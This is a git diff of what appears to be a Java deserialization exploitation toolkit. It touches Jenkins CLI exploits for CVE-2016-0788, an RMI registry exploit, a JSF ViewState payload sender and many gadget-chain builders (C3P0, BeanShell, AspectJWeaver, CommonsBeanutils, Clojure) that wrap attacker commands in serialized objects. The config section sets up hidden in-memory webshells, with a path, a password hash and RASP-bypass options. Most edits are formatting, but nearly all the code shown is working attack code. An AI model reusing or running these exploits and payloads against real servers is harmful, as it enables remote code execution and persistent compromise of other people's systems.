+62,10 @@ public class JSF { OutputStream os = hc.getOutputStream(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); - ObjectOutputStream oos = new ObjectOutputStream(bos); + ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(payloadObject); oos.close(); - byte[] data = bos.toByteArray(); + byte[] data = bos.toByteArray(); String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); os.write(requestBody.getBytes("US-ASCII")); os.close(); diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java index 9300890..e4367f8 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java +++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java @@ -1,6 +1,5 @@ package com.qi4l.JYso.exploit; -import static com.qi4l.JYso.controllers.ysoserial.ysoserial; import com.qi4l.JYso.controllers.ysoserial; import com.qi4l.JYso.gadgets.utils.Reflections; import hudson.remoting.Callable; @@ -20,6 +19,8 @@ import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.ThreadFactory; +import static com.qi4l.JYso.controllers.ysoserial.ysoserial; + /** * Jenkins CLI client *

@@ -67,8 +68,8 @@ public class JenkinsCLI { public static Callable getPropertyCallable(final Object prop) throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { - Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); - Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); + Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); + Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); Reflections.setAccessible(reqCons); Object getJarLoader = reqCons .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{ @@ -102,8 +103,8 @@ public class JenkinsCLI { s.setTcpNoDelay(true); System.err.println("* Opening channel"); - OutputStream outputStream = s.getOutputStream(); - DataOutputStream dos = new DataOutputStream(outputStream); + OutputStream outputStream = s.getOutputStream(); + DataOutputStream dos = new DataOutputStream(outputStream); dos.writeUTF("Protocol:CLI-connect"); ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() { diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java index 7372717..c7ed1e3 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java +++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java @@ -1,6 +1,5 @@ package com.qi4l.JYso.exploit; -import static com.qi4l.JYso.controllers.ysoserial.ysoserial; import com.qi4l.JYso.controllers.ysoserial; import com.qi4l.JYso.gadgets.JRMPListener; import com.qi4l.JYso.gadgets.utils.Reflections; @@ -22,6 +21,8 @@ import java.rmi.activation.ActivationDesc; import java.rmi.activation.ActivationID; import java.rmi.activation.ActivationInstantiator; +import static com.qi4l.JYso.controllers.ysoserial.ysoserial; + /** * CVE-2016-0788 exploit (1) @@ -52,16 +53,16 @@ public class JenkinsListener { } String jenkinsUrl = args[0]; - int jrmpPort = 12345; + int jrmpPort = 12345; Channel c = null; try { InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); c = JenkinsCLI.openChannel(isa); - Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours")); + Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours")); InvocationHandler remote = Proxy.getInvocationHandler(call); - int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote); + int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote); System.err.println("* JarLoader oid is " + oid); @@ -110,8 +111,8 @@ public class JenkinsListener { private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception, IOException { - String msg = e.getMessage(); - int start = msg.indexOf("objID:["); + String msg = e.getMessage(); + int start = msg.indexOf("objID:["); if (start < 0) { throw new Exception("Failed to get object id"); } @@ -128,7 +129,7 @@ public class JenkinsListener { throw new Exception("Failed to get object id, separator"); } - String uid = msg.substring(start + 7, sep); + String uid = msg.substring(start + 7, sep); String objNum = msg.substring(sep + 2, end); System.err.println("* UID is " + uid); @@ -136,10 +137,10 @@ public class JenkinsListener { String[] parts = uid.split(":"); - long obj = Long.parseLong(objNum); - int o1 = Integer.parseInt(parts[0], 16); - long o2 = Long.parseLong(parts[1], 16); - short o3 = Short.parseShort(parts[2], 16); + long obj = Long.parseLong(objNum); + int o1 = Integer.parseInt(parts[0], 16); + long o2 = Long.parseLong(parts[1], 16); + short o3 = Short.parseShort(parts[2], 16); exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args); } @@ -147,7 +148,7 @@ public class JenkinsListener { private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args) throws IOException { - Socket s = null; + Socket s = null; DataOutputStream dos = null; try { System.err.println("* Opening JRMP socket " + isa); diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java index 82b0b72..4d2910a 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java +++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java @@ -1,6 +1,5 @@ package com.qi4l.JYso.exploit; -import static com.qi4l.JYso.controllers.ysoserial.ysoserial; import com.qi4l.JYso.controllers.ysoserial; import com.qi4l.JYso.gadgets.JRMPClient; import hudson.remoting.Channel; @@ -10,6 +9,8 @@ import java.net.InetSocketAddress; import java.rmi.registry.Registry; import java.util.Random; +import static com.qi4l.JYso.controllers.ysoserial.ysoserial; + /** * CVE-2016-0788 exploit (2) *

@@ -35,11 +36,11 @@ public class JenkinsReverse { ysoserial(newArray); final Object payloadObject = ysoserial.PAYLOAD; - String myAddr = args[1]; - int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; - String jenkinsUrl = args[0]; + String myAddr = args[1]; + int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; + String jenkinsUrl = args[0]; - Thread t = null; + Thread t = null; Channel c = null; try { InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); diff --git a/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java b/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java index 1c0f267..a3a0fe9 100644 --- a/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java +++ b/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java @@ -29,10 +29,10 @@ public class RMIBindExploit { System.exit(-1); } - String host = args[0]; - int registryPort = Integer.parseInt(args[1]); - String command = args[2]; - String serviceName = args[3]; + String host = args[0]; + int registryPort = Integer.parseInt(args[1]); + String command = args[2]; + String serviceName = args[3]; Registry registry = LocateRegistry.getRegistry(host, registryPort); System.out.println(Arrays.toString(registry.list())); diff --git a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java index 9cc0659..7462522 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java +++ b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java @@ -49,16 +49,16 @@ public class AspectJWeaver implements ObjectPayload { if (sep < 0) { throw new IllegalArgumentException("Command format is: :"); } - String[] parts = command.split(":"); - String filename = parts[0]; - byte[] content = Base64.decodeBase64(parts[1]); + String[] parts = command.split(":"); + String filename = parts[0]; + byte[] content = Base64.decodeBase64(parts[1]); - Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); - Object simpleCache = ctor.newInstance(".", 12); - Transformer ct = new ConstantTransformer(content); - Map lazyMap = LazyMap.decorate((Map) simpleCache, ct); - TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); - HashSet map = new HashSet(1); + Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); + Object simpleCache = ctor.newInstance(".", 12); + Transformer ct = new ConstantTransformer(content); + Map lazyMap = LazyMap.decorate((Map) simpleCache, ct); + TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); + HashSet map = new HashSet(1); map.add("QI4L"); Field f; try { diff --git a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java index c40396b..a227b06 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java @@ -34,19 +34,19 @@ public class AspectJWeaver2 implements ObjectPayload { if (sep < 0) { throw new IllegalArgumentException("Command format is: ;"); } - String[] parts = command.split(";"); - String filename = parts[0]; - byte[] content = Base64.decodeBase64(parts[1]); + String[] parts = command.split(";"); + String filename = parts[0]; + byte[] content = Base64.decodeBase64(parts[1]); - Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); - Object simpleCache = ctor.newInstance(".", 12); + Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); + Object simpleCache = ctor.newInstance(".", 12); - Factory ft = new ConstantFactory(content); + Factory ft = new ConstantFactory(content); Transformer ct = new FactoryTransformer(ft); - Map lazyMap = LazyMap.decorate((Map) simpleCache, ct); - TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); - HashSet map = new HashSet(1); + Map lazyMap = LazyMap.decorate((Map) simpleCache, ct); + TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); + HashSet map = new HashSet(1); map.add("QI4L"); Field f = null; try { diff --git a/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java b/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java index 9123051..b483ffc 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java @@ -22,15 +22,15 @@ import java.util.PriorityQueue; public class BeanShell1 implements ObjectPayload { public PriorityQueue getObject(String command) throws Exception { - String payload = BeanShellUtil.makeBeanShellPayload(command); - Interpreter i = new Interpreter(); + String payload = BeanShellUtil.makeBeanShellPayload(command); + Interpreter i = new Interpreter(); i.eval(payload); - XThis xt = new XThis(i.getNameSpace(), i); - InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); - Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); - PriorityQueue priorityQueue = new PriorityQueue(2, comparator); - Object[] queue = {Integer.valueOf(1), Integer.valueOf(1)}; + XThis xt = new XThis(i.getNameSpace(), i); + InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); + PriorityQueue priorityQueue = new PriorityQueue(2, comparator); + Object[] queue = {Integer.valueOf(1), Integer.valueOf(1)}; Reflections.setFieldValue(priorityQueue, "queue", queue); Reflections.setFieldValue(priorityQueue, "size", Integer.valueOf(2)); diff --git a/src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java b/src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java index 656fff0..ebf23fc 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java @@ -20,16 +20,16 @@ import java.util.PriorityQueue; public class BeanShell2 implements ObjectPayload { public PriorityQueue getObject(String command) throws Exception { - String payload = BeanShellUtil.makeBeanShellPayload(command); - Interpreter i = new Interpreter(); + String payload = BeanShellUtil.makeBeanShellPayload(command); + Interpreter i = new Interpreter(); Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class); setu.setAccessible(true); setu.invoke(i, "bsh.cwd", "."); i.eval(payload); - Class xthis = Class.forName("bsh.XThis"); - Field handlerField = xthis.getDeclaredField("invocationHandler"); + Class xthis = Class.forName("bsh.XThis"); + Field handlerField = xthis.getDeclaredField("invocationHandler"); handlerField.setAccessible(true); Constructor xthisDeclaredConstructor = xthis.getDeclaredConstructor(NameSpace.class, Interpreter.class); xthisDeclaredConstructor.setAccessible(true); @@ -38,7 +38,7 @@ public class BeanShell2 implements ObjectPayload { InvocationHandler handler = (InvocationHandler) handlerField.get(xt); Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); - PriorityQueue queue = new PriorityQueue(2); + PriorityQueue queue = new PriorityQueue(2); queue.add("1"); queue.add("2"); diff --git a/src/main/java/com/qi4l/JYso/gadgets/BindingEnumeration.java b/src/main/java/com/qi4l/JYso/gadgets/BindingEnumeration.java index 475e914..448d065 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/BindingEnumeration.java +++ b/src/main/java/com/qi4l/JYso/gadgets/BindingEnumeration.java @@ -5,9 +5,9 @@ import java.net.URI; public class BindingEnumeration implements ObjectPayload { @Override public Object getObject(String command) throws Exception { - UtilFactory uf = new UtilFactory(); - URI uri = new URI(command); - String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + UtilFactory uf = new UtilFactory(); + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeBindingEnumeration(args[0], args[1]))); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0.java index 720f2fe..1f66d3c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0.java @@ -40,7 +40,7 @@ public class C3P0 implements ObjectPayload { throw new IllegalArgumentException("Command format is: :"); } - String url = command.substring(0, sep); + String url = command.substring(0, sep); String className = command.substring(sep + 1); PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P04.java b/src/main/java/com/qi4l/JYso/gadgets/C3P04.java index 7af520c..ae22e51 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P04.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P04.java @@ -6,7 +6,6 @@ import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.HexUtils; import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.SnakeYamlUtils; import org.apache.naming.ResourceRef; import javax.naming.NamingException; @@ -53,8 +52,8 @@ public class C3P04 implements ObjectPayload { throw new IllegalArgumentException("Command format is: :"); } - String[] parts = command.split("-"); - PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + String[] parts = command.split("-"); + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1])); return b; } @@ -93,14 +92,14 @@ public class C3P04 implements ObjectPayload { case "writeJar": String[] parts = cmd.split(":"); try { - yaml = SnakeYamlUtils.createPoC(parts[0], parts[1]); + yaml = com.qi4l.JYso.gadgets.utils.Utils.createPoC(parts[0], parts[1]); } catch (Exception e) { throw new RuntimeException(e); } break; case "c3p0Double": try { - byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd))); + byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd))); String hexString = HexUtils.bytesToHexString(data, data.length); yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" + "userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";"; diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P092.java b/src/main/java/com/qi4l/JYso/gadgets/C3P092.java index c9b407c..8559e4b 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P092.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P092.java @@ -34,7 +34,7 @@ public class C3P092 implements ObjectPayload { throw new IllegalArgumentException("Command format is: :"); } - String url = command.substring(0, sep); + String url = command.substring(0, sep); String className = command.substring(sep + 1); // 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID @@ -46,7 +46,7 @@ public class C3P092 implements ObjectPayload { ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;"); // mock method name until armed - final Class clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new SuClassLoader()); + final Class clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new SuClassLoader()); Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource); Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url)); diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java index 3504572..f13c811 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java @@ -31,8 +31,8 @@ public class C3P0JDBC implements ObjectPayload { JSONArray jsonArray = new JSONArray(); jsonArray.add(o); - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - Field valfield = val.getClass().getDeclaredField("val"); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray); diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java index e08059e..8851a48 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java @@ -11,7 +11,7 @@ import java.util.HashMap; @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) @Authors({Authors.UNAM4}) -public class C3P0JNDI implements ObjectPayload { +public class C3P0JNDI implements ObjectPayload { @Override public Object getObject(String command) throws Exception { if (command.toLowerCase().startsWith("jndi:")) { @@ -23,12 +23,12 @@ public class C3P0JNDI implements ObjectPayload { } Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); - Reflections.setFieldValue(o,"jndiName",command); - Reflections.setFieldValue(o,"identityToken","exp"); + Reflections.setFieldValue(o, "jndiName", command); + Reflections.setFieldValue(o, "identityToken", "exp"); JSONArray jsonArray = new JSONArray(); jsonArray.add(o); - BadAttributeValueExpException val = new BadAttributeValueExpException(null); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray); diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java index d4e4a02..9c8bfce 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java @@ -11,7 +11,7 @@ import java.util.HashMap; @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) @Authors({Authors.UNAM4}) -public class C3P0JNDI2 implements ObjectPayload { +public class C3P0JNDI2 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { if (command.toLowerCase().startsWith("jndi:")) { @@ -27,7 +27,7 @@ public class C3P0JNDI2 implements ObjectPayload { JSONArray jsonArray = new JSONArray(); jsonArray.add(o); - BadAttributeValueExpException val = new BadAttributeValueExpException(null); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray); diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java index 70bf315..b46cdfe 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java @@ -1,6 +1,6 @@ package com.qi4l.JYso.gadgets; -public class C3P0RefDataSource implements ObjectPayload{ +public class C3P0RefDataSource implements ObjectPayload { @Override public Object getObject(String command) throws Exception { // Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource")); diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java index 672a8c2..6828e9c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java @@ -15,19 +15,10 @@ import java.net.URI; import java.util.Hashtable; public class C3P0WrapperConnPool implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - URI uri = new URI(command); - String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; - WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class); - Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[ 0 ], args[ 1 ])); - return obj; - } - - public static String makeC3P0UserOverridesString ( String codebase, String clazz ) throws ClassNotFoundException, NoSuchMethodException, + public static String makeC3P0UserOverridesString(String codebase, String clazz) throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, IOException { ByteArrayOutputStream b = new ByteArrayOutputStream(); - try ( ObjectOutputStream oos = new ObjectOutputStream(b) ) { + try (ObjectOutputStream oos = new ObjectOutputStream(b)) { Class refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$ Constructor con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class); con.setAccessible(true); @@ -38,4 +29,13 @@ public class C3P0WrapperConnPool implements ObjectPayload { return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$ } + + @Override + public Object getObject(String command) throws Exception { + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class); + Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[0], args[1])); + return obj; + } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/Click1.java b/src/main/java/com/qi4l/JYso/gadgets/Click1.java index 76592b6..5a9d383 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Click1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Click1.java @@ -69,7 +69,7 @@ public class Click1 implements ObjectPayload { // finally, we inject and new TemplatesImpl object into the queue, // so its getOutputProperties() method will be called final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); - final Object template; + final Object template; template = Gadgets.createTemplatesImpl(command); queueArray[0] = template; return queue; diff --git a/src/main/java/com/qi4l/JYso/gadgets/Clojure.java b/src/main/java/com/qi4l/JYso/gadgets/Clojure.java index 45bae92..0183d87 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Clojure.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Clojure.java @@ -33,8 +33,8 @@ import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES; public class Clojure implements ObjectPayload> { public Map getObject(String command) throws Exception { - String clojurePayload = ClojureUtil.makeClojurePayload(command); - Map fnMap = new HashMap<>(); + String clojurePayload = ClojureUtil.makeClojurePayload(command); + Map fnMap = new HashMap<>(); fnMap.put("hashCode", (new core$constantly()).invoke(0)); AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a(); model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare183.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare183.java index 2fa6390..7073fe1 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare183.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare183.java @@ -24,7 +24,7 @@ public class CommonsBeanutilsAttrCompare183 implements ObjectPayload { public Object getObject(String command) throws Exception { final Object template; template = Gadgets.createTemplatesImpl(command); - AttrNSImpl attrNS1 = new AttrNSImpl(); + AttrNSImpl attrNS1 = new AttrNSImpl(); CoreDocumentImpl coreDocument = new CoreDocumentImpl(); attrNS1.setValues(coreDocument, "1", "1", "1"); diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare192.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare192.java index 5104615..f5d5e27 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare192.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare192.java @@ -19,7 +19,7 @@ public class CommonsBeanutilsAttrCompare192 implements ObjectPayload { public Object getObject(String command) throws Exception { final Object template; template = Gadgets.createTemplatesImpl(command); - AttrNSImpl attrNS1 = new AttrNSImpl(); + AttrNSImpl attrNS1 = new AttrNSImpl(); CoreDocumentImpl coreDocument = new CoreDocumentImpl(); attrNS1.setValues(coreDocument, "1", "1", "1"); diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsJNDI.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsJNDI.java index eca05ee..1105cd7 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsJNDI.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsJNDI.java @@ -21,7 +21,7 @@ public class CommonsBeanutilsJNDI implements ObjectPayload { } BeanComparator comparator = new BeanComparator("lowestSetBit"); - JdbcRowSetImpl rs = new JdbcRowSetImpl(); + JdbcRowSetImpl rs = new JdbcRowSetImpl(); rs.setDataSourceName(jndiURL); rs.setMatchColumn("QI4L"); PriorityQueue queue = new PriorityQueue(2, comparator); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java index b45bf87..1133354 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java @@ -29,103 +29,103 @@ public class Config { public static int rmiPort = 1099; @Parameter(names = {"-hP", "--httpPort"}, description = "Http bind port", order = 3) - public static int httpPort = 3456; + public static int httpPort = 3456; @Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command") - public static String command = "whoami"; + public static String command = "whoami"; @Parameter(names = {"-v", " --version"}, help = true, description = "Show version", order = 5) public static boolean showVersion; @Parameter(names = {"-ga", " --gadgets"}, help = true, description = "Show gadgets", order = 5) public static boolean showGadgets; @Parameter(names = {"-ak", " --AESkey"}, description = "AES+BAse64 decryption of routes", order = 5) - public static String AESkey = "123"; + public static String AESkey = "123"; @Parameter(names = {"-u", " --user"}, help = true, description = "ldap bound account", order = 5) - public static String USER = ""; + public static String USER = ""; @Parameter(names = {"-p", " --PASSWD"}, help = true, description = "ldap binding password", order = 5) - public static String PASSWD = ""; + public static String PASSWD = ""; @Parameter(names = {"-t", " --TLSProxy"}, help = true, description = "TLS port forwarding", order = 5) public static boolean TLSProxy = false; @Parameter(names = {"-tP", " --TLSPort"}, help = true, description = "TLS port", order = 5) - public static String TLSPort = "1636"; + public static String TLSPort = "1636"; @Parameter(names = {"-kP", " --keyPass"}, help = true, description = "JKS key password", order = 5) - public static String keyPass = ""; + public static String keyPass = ""; @Parameter(names = {"-cF", " --certFile"}, help = true, description = "JKS certificate file Path", order = 5) - public static String certFile = ""; + public static String certFile = ""; @Parameter(names = {"-j", "--jndi"}, help = true, description = "starter", order = 5) - public static boolean jndi = false; - public static String rhost; - public static String rport; + public static boolean jndi = false; + public static String rhost; + public static String rport; // 从HTTP外部获取路由值 - public static String ROUTE = ""; + public static String ROUTE = ""; // 从HTTP外部获取参数值 - public static String BCEL1 = ""; + public static String BCEL1 = ""; // 恶意类是否继承 AbstractTranslet public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false; //是否使用反射绕过RASP - public static Boolean IS_OBSCURE = false; + public static Boolean IS_OBSCURE = false; // 各种方式的内存马映射的路径 - public static String URL_PATTERN = "/qi4l"; + public static String URL_PATTERN = "/qi4l"; // 是否使用落地文件的方式隐藏内存马 - public static Boolean HIDE_MEMORY_SHELL = false; + public static Boolean HIDE_MEMORY_SHELL = false; // 是否生成内存马文件 - public static Boolean GEN_MEM_SHELL = false; + public static Boolean GEN_MEM_SHELL = false; // 内存马文件名 - public static String GEN_MEM_SHELL_FILENAME = ""; + public static String GEN_MEM_SHELL_FILENAME = ""; // 落地文件姿势,1 charsets.jar 2 classes - public static int HIDE_MEMORY_SHELL_TYPE = 0; + public static int HIDE_MEMORY_SHELL_TYPE = 0; // 内存马的密码MD5 - public static String PASSWORD = "0f359740bd1cda99"; + public static String PASSWORD = "0f359740bd1cda99"; // Referer 校验 - public static String HEADER_KEY = "Referer"; + public 